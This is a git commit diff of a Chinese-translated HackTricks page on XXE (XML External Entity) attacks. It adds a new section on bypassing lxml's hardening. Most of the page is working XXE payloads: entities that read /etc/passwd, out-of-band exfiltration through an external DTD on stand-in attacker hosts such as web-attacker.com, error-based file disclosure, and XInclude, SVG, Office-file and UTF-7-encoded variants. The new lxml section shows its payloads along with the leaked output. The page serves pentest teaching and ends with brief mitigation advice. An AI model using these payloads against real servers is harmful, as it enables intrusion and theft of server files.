mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to zh
This commit is contained in:
		
							parent
							
								
									8f84c9285f
								
							
						
					
					
						commit
						57ba37eab2
					
				@ -1,26 +1,31 @@
 | 
			
		||||
# XXE - XEE - XML External Entity
 | 
			
		||||
 | 
			
		||||
{{#include /banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
 | 
			
		||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## XML基础
 | 
			
		||||
## XML 基础
 | 
			
		||||
 | 
			
		||||
XML是一种用于数据存储和传输的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义的标签。尽管XML在AJAX技术中的初始作用显著,但随着JSON的兴起,其重要性已下降。
 | 
			
		||||
XML 是一种用于数据存储和传输的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与 HTML 的不同之处在于不受限于一组预定义标签。尽管 XML 在 AJAX 技术中的初始作用显著,但随着 JSON 的兴起,其重要性有所下降。
 | 
			
		||||
 | 
			
		||||
- **通过实体表示数据**:XML中的实体使得数据的表示成为可能,包括特殊字符如`<`和`>`,它们分别对应于`<`和`>`,以避免与XML的标签系统发生冲突。
 | 
			
		||||
- **定义XML元素**:XML允许定义元素类型,概述元素应如何结构化以及可以包含哪些内容,从任何类型的内容到特定的子元素。
 | 
			
		||||
- **文档类型定义(DTD)**:DTD在XML中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证方式。
 | 
			
		||||
- **自定义和外部实体**:XML支持在DTD中创建自定义实体,以实现灵活的数据表示。外部实体通过URL定义,带来了安全隐患,特别是在XML外部实体(XXE)攻击的背景下,这些攻击利用XML解析器处理外部数据源的方式:`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
 | 
			
		||||
- **使用参数实体检测XXE**:为了检测XXE漏洞,特别是在常规方法因解析器安全措施而失败时,可以利用XML参数实体。这些实体允许使用带外检测技术,例如触发DNS查找或向受控域发出HTTP请求,以确认漏洞。
 | 
			
		||||
- **通过实体表示数据**:XML 中的实体使得数据的表示成为可能,包括特殊字符如 `<` 和 `>`,它们分别对应于 `<` 和 `>`,以避免与 XML 的标签系统发生冲突。
 | 
			
		||||
- **定义 XML 元素**:XML 允许定义元素类型,概述元素应如何结构化以及可以包含哪些内容,从任何类型的内容到特定的子元素。
 | 
			
		||||
- **文档类型定义 (DTD)**:DTD 在 XML 中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证方式。
 | 
			
		||||
- **自定义和外部实体**:XML 支持在 DTD 中创建自定义实体,以实现灵活的数据表示。外部实体通过 URL 定义,带来了安全隐患,特别是在 XML 外部实体 (XXE) 攻击的背景下,这些攻击利用了 XML 解析器处理外部数据源的方式:`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
 | 
			
		||||
- **使用参数实体检测 XXE**:为了检测 XXE 漏洞,特别是在常规方法因解析器安全措施而失败时,可以利用 XML 参数实体。这些实体允许使用带外检测技术,例如触发 DNS 查找或向受控域发出 HTTP 请求,以确认漏洞。
 | 
			
		||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
 | 
			
		||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
 | 
			
		||||
 | 
			
		||||
## 主要攻击
 | 
			
		||||
 | 
			
		||||
[**这些攻击大多是在出色的Portswiggers XEE实验室中测试的: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
 | 
			
		||||
[**这些攻击大多是在出色的 Portswiggers XEE 实验室中测试的: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
 | 
			
		||||
 | 
			
		||||
### 新实体测试
 | 
			
		||||
 | 
			
		||||
在此攻击中,我将测试一个简单的新ENTITY声明是否有效。
 | 
			
		||||
在此攻击中,我将测试一个简单的新 ENTITY 声明是否有效。
 | 
			
		||||
```xml
 | 
			
		||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
			
		||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
 | 
			
		||||
@ -35,7 +40,7 @@ XML是一种用于数据存储和传输的标记语言,具有灵活的结构
 | 
			
		||||
 | 
			
		||||
让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows,你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
 | 
			
		||||
 | 
			
		||||
在这个第一个例子中,请注意 SYSTEM "_**file:///**etc/passwd_" 也会有效。
 | 
			
		||||
在这种情况下,请注意 SYSTEM "_**file:///**etc/passwd_" 也会有效。
 | 
			
		||||
```xml
 | 
			
		||||
<!--?xml version="1.0" ?-->
 | 
			
		||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
 | 
			
		||||
@ -43,7 +48,7 @@ XML是一种用于数据存储和传输的标记语言,具有灵活的结构
 | 
			
		||||
```
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
这个第二个案例应该有助于提取文件,如果网络服务器使用 PHP(Portswiggers 实验室的情况除外)
 | 
			
		||||
这个第二个案例应该有助于提取文件,如果网络服务器使用的是PHP(Portswiggers实验室的情况除外)
 | 
			
		||||
```xml
 | 
			
		||||
<!--?xml version="1.0" ?-->
 | 
			
		||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
 | 
			
		||||
@ -113,7 +118,7 @@ XXE 可以被用来滥用云中的 SSRF
 | 
			
		||||
- 使用 `%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
 | 
			
		||||
- 然后使用 `%exfiltrate` 实体,触发对指定 URL 的 HTTP 请求,包含文件的内容。
 | 
			
		||||
 | 
			
		||||
攻击者在其控制的服务器上托管此恶意 DTD,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
 | 
			
		||||
攻击者将这个恶意 DTD 托管在他们控制的服务器上,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
 | 
			
		||||
 | 
			
		||||
**XXE Payload:** 为了利用一个脆弱的应用程序,攻击者发送一个 XXE payload:
 | 
			
		||||
```xml
 | 
			
		||||
@ -121,13 +126,13 @@ XXE 可以被用来滥用云中的 SSRF
 | 
			
		||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
 | 
			
		||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 | 
			
		||||
```
 | 
			
		||||
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后解析器在线解释 DTD,执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
 | 
			
		||||
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后,解析器在线解释 DTD,执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
 | 
			
		||||
 | 
			
		||||
### 基于错误的(外部 DTD)
 | 
			
		||||
 | 
			
		||||
**在这种情况下,我们将使服务器加载一个恶意 DTD,该 DTD 将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。** [**示例来自这里。**](https://portswigger.net/web-security/xxe/blind)
 | 
			
		||||
 | 
			
		||||
可以通过恶意外部文档类型定义(DTD)触发一个 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
 | 
			
		||||
可以通过恶意外部文档类型定义(DTD)触发 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
 | 
			
		||||
 | 
			
		||||
1. 定义一个名为 `file` 的 XML 参数实体,其中包含 `/etc/passwd` 文件的内容。
 | 
			
		||||
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估这个 `error` 实体时,它尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
 | 
			
		||||
@ -146,11 +151,11 @@ XXE 可以被用来滥用云中的 SSRF
 | 
			
		||||
 | 
			
		||||
_**请注意,外部 DTD 允许我们在第二个 `eval` 中包含一个实体,但在内部 DTD 中是禁止的。因此,通常情况下,您无法在不使用外部 DTD 的情况下强制产生错误。**_
 | 
			
		||||
 | 
			
		||||
### **基于错误的 (系统 DTD)**
 | 
			
		||||
### **基于错误 (系统 DTD)**
 | 
			
		||||
 | 
			
		||||
那么,当 **出带交互被阻止**(外部连接不可用)时,盲 XXE 漏洞怎么办?
 | 
			
		||||
 | 
			
		||||
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
 | 
			
		||||
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了从内部 DTD 中重新定义原本在外部 DTD 中声明的 XML 参数实体。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
 | 
			
		||||
 | 
			
		||||
考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容,如下所示:
 | 
			
		||||
```xml
 | 
			
		||||
@ -188,7 +193,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
 | 
			
		||||
```
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
由于此技术使用**内部 DTD,您需要先找到一个有效的 DTD**。您可以通过**安装**服务器正在使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在:
 | 
			
		||||
由于此技术使用**内部 DTD,您需要先找到一个有效的 DTD**。您可以通过**安装**服务器使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在:
 | 
			
		||||
```xml
 | 
			
		||||
<!DOCTYPE foo [
 | 
			
		||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
 | 
			
		||||
@ -205,7 +210,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
 | 
			
		||||
https://github.com/GoSecure/dtd-finder/tree/master/list
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
 | 
			
		||||
此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** 该 **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的 Readme](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
 | 
			
		||||
```bash
 | 
			
		||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
 | 
			
		||||
 | 
			
		||||
@ -223,7 +228,7 @@ Testing 0 entities : []
 | 
			
		||||
 | 
			
		||||
许多网络应用程序提供**上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
 | 
			
		||||
 | 
			
		||||
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到其中。
 | 
			
		||||
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到该目录中。
 | 
			
		||||
 | 
			
		||||
一旦文档被解压缩,位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器(如 vim)中打开并编辑。XML 应修改以包含所需的 XXE 有效负载,通常以 HTTP 请求开头。
 | 
			
		||||
 | 
			
		||||
@ -310,7 +315,7 @@ Responder.py -I eth0 -v
 | 
			
		||||
 | 
			
		||||
### XInclude
 | 
			
		||||
 | 
			
		||||
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得由于对 `DOCTYPE` 元素的修改限制而阻碍了传统的 XXE 攻击。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法也是有效的。
 | 
			
		||||
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得由于对 `DOCTYPE` 元素的修改限制,传统的 XXE 攻击受到阻碍。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。这种方法在只能控制服务器生成的 XML 文档中的一部分数据时也有效。
 | 
			
		||||
 | 
			
		||||
要执行 `XInclude` 攻击,必须声明 `XInclude` 命名空间,并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例:
 | 
			
		||||
```xml
 | 
			
		||||
@ -322,7 +327,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
 | 
			
		||||
 | 
			
		||||
用户上传到某些应用程序的文件,然后在服务器上处理,可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
 | 
			
		||||
 | 
			
		||||
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,攻击者可以利用它提交恶意 SVG 图像,从而使服务器暴露于 XXE(XML 外部实体)漏洞。
 | 
			
		||||
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,可能被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXE(XML 外部实体)漏洞。
 | 
			
		||||
 | 
			
		||||
下面展示了一个此类攻击的示例,其中恶意 SVG 图像试图读取系统文件:
 | 
			
		||||
```xml
 | 
			
		||||
@ -348,7 +353,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
 | 
			
		||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Content-Type: 从 x-www-urlencoded 到 XML
 | 
			
		||||
### 内容类型:从 x-www-urlencoded 到 XML
 | 
			
		||||
 | 
			
		||||
如果 POST 请求接受 XML 格式的数据,您可以尝试在该请求中利用 XXE。例如,如果正常请求包含以下内容:
 | 
			
		||||
```xml
 | 
			
		||||
@ -408,7 +413,7 @@ Content-Type: application/xml;charset=UTF-8
 | 
			
		||||
 | 
			
		||||
### UTF-7
 | 
			
		||||
 | 
			
		||||
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\](\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
 | 
			
		||||
您可以在此处使用 \[**"Encode Recipe**" of cyberchef\](\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
 | 
			
		||||
```xml
 | 
			
		||||
<!xml version="1.0" encoding="UTF-7"?-->
 | 
			
		||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
 | 
			
		||||
@ -500,7 +505,7 @@ Content-Type: application/x-xliff+xml
 | 
			
		||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
尽管出现错误,但在 Burp Collaborator 上记录到了一次命中,表明与外部实体有一定程度的交互。
 | 
			
		||||
尽管出现了错误,但在 Burp Collaborator 上记录了一次命中,表明与外部实体有某种程度的交互。
 | 
			
		||||
 | 
			
		||||
Out of Band Data Exfiltration 为了提取数据,发送了一个修改过的请求:
 | 
			
		||||
```
 | 
			
		||||
@ -514,16 +519,16 @@ Content-Type: application/x-xliff+xml
 | 
			
		||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
 | 
			
		||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
 | 
			
		||||
```
 | 
			
		||||
这种方法揭示了用户代理表明使用的是 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
 | 
			
		||||
这种方法揭示了用户代理指示使用 Java 1.8。该版本 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
 | 
			
		||||
 | 
			
		||||
基于错误的数据外泄 为了克服这个限制,采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误:
 | 
			
		||||
基于错误的数据外泄 为了克服这一限制,采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误:
 | 
			
		||||
```xml
 | 
			
		||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
 | 
			
		||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
 | 
			
		||||
%foo;
 | 
			
		||||
%xxe;
 | 
			
		||||
```
 | 
			
		||||
服务器返回错误,重要的是反映出不存在的文件,表明服务器正在尝试访问指定的文件:
 | 
			
		||||
服务器响应错误,重要的是反映出不存在的文件,表明服务器正在尝试访问指定的文件:
 | 
			
		||||
```javascript
 | 
			
		||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
 | 
			
		||||
```
 | 
			
		||||
@ -681,15 +686,73 @@ XMLDecoder 是一个 Java 类,用于根据 XML 消息创建对象。如果恶
 | 
			
		||||
https://github.com/luisfontes19/xxexploiter
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
### Python lxml 参数实体 XXE (基于错误的文件泄露)
 | 
			
		||||
 | 
			
		||||
> [!INFO]
 | 
			
		||||
> Python 库 **lxml** 在底层使用 **libxml2**。 版本低于 **lxml 5.4.0 / libxml2 2.13.8** 仍然会扩展 *参数* 实体,即使 `resolve_entities=False`,当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时,这些实体仍然可以被访问。这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。
 | 
			
		||||
 | 
			
		||||
#### 1. 利用 lxml < 5.4.0
 | 
			
		||||
1. 识别或创建一个在磁盘上的 *local* DTD,定义一个 **未定义** 的参数实体(例如 `%config_hex;`)。
 | 
			
		||||
2. 构造一个内部 DTD:
 | 
			
		||||
* 使用 `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` 加载本地 DTD。
 | 
			
		||||
* 重新定义未定义的实体,使其:
 | 
			
		||||
- 读取目标文件(`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)。
 | 
			
		||||
- 构建另一个参数实体,引用一个包含 `%flag;` 值的 **无效路径** 并触发解析器错误(`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
 | 
			
		||||
3. 最后扩展 `%local_dtd;` 和 `%eval;`,使解析器遇到 `%error;`,无法打开 `/aaa/<FLAG>` 并在抛出的异常中泄露标志 – 这通常会被应用程序返回给用户。
 | 
			
		||||
```xml
 | 
			
		||||
<!DOCTYPE colors [
 | 
			
		||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
 | 
			
		||||
<!ENTITY % config_hex '
 | 
			
		||||
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
 | 
			
		||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
 | 
			
		||||
%eval;'>
 | 
			
		||||
%local_dtd;
 | 
			
		||||
]>
 | 
			
		||||
```
 | 
			
		||||
当应用程序打印异常时,响应包含:
 | 
			
		||||
```
 | 
			
		||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
 | 
			
		||||
```
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 如果解析器在内部子集内抱怨 `%`/`&` 字符,请对它们进行双重编码(`&#x25;` ⇒ `%`)以延迟扩展。
 | 
			
		||||
 | 
			
		||||
#### 2. 绕过 lxml 5.4.0 的加固(libxml2 仍然脆弱)
 | 
			
		||||
`lxml` ≥ 5.4.0 禁止像上面那样的 *error* 参数实体,但 **libxml2** 仍然允许它们嵌入到 *general* 实体中。诀窍是:
 | 
			
		||||
1. 将文件读取到参数实体 `%file` 中。
 | 
			
		||||
2. 声明另一个参数实体,构建一个 **general** 实体 `c`,其 SYSTEM 标识符使用一个 *不存在的协议*,例如 `meow://%file;`。
 | 
			
		||||
3. 在 XML 主体中放置 `&c;`。当解析器尝试解引用 `meow://…` 时,它会失败并在错误消息中反映完整的 URI – 包括文件内容。
 | 
			
		||||
```xml
 | 
			
		||||
<!DOCTYPE colors [
 | 
			
		||||
<!ENTITY % a '
 | 
			
		||||
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
 | 
			
		||||
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
 | 
			
		||||
'>
 | 
			
		||||
%a; %b;
 | 
			
		||||
]>
 | 
			
		||||
<colors>&c;</colors>
 | 
			
		||||
```
 | 
			
		||||
#### 关键要点
 | 
			
		||||
* **参数实体**即使在`resolve_entities`应该阻止XXE的情况下仍然会被libxml2扩展。
 | 
			
		||||
* **无效的URI**或**不存在的文件**足以将受控数据连接到抛出的异常中。
 | 
			
		||||
* 该技术在**没有出站连接**的情况下也能工作,适合严格的出站过滤环境。
 | 
			
		||||
 | 
			
		||||
#### 缓解指导
 | 
			
		||||
* 升级到**lxml ≥ 5.4.0**并确保底层的**libxml2**为**≥ 2.13.8**。
 | 
			
		||||
* 除非绝对必要,否则禁用`load_dtd`和/或`resolve_entities`。
 | 
			
		||||
* 避免将原始解析器错误返回给客户端。
 | 
			
		||||
 | 
			
		||||
## 参考文献
 | 
			
		||||
 | 
			
		||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
 | 
			
		||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
 | 
			
		||||
- 通过使用自己的外部 DTD 通过 HTTP 提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
 | 
			
		||||
- 通过HTTP使用自己的外部DTD提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
 | 
			
		||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
 | 
			
		||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
 | 
			
		||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
 | 
			
		||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
 | 
			
		||||
 | 
			
		||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
 | 
			
		||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user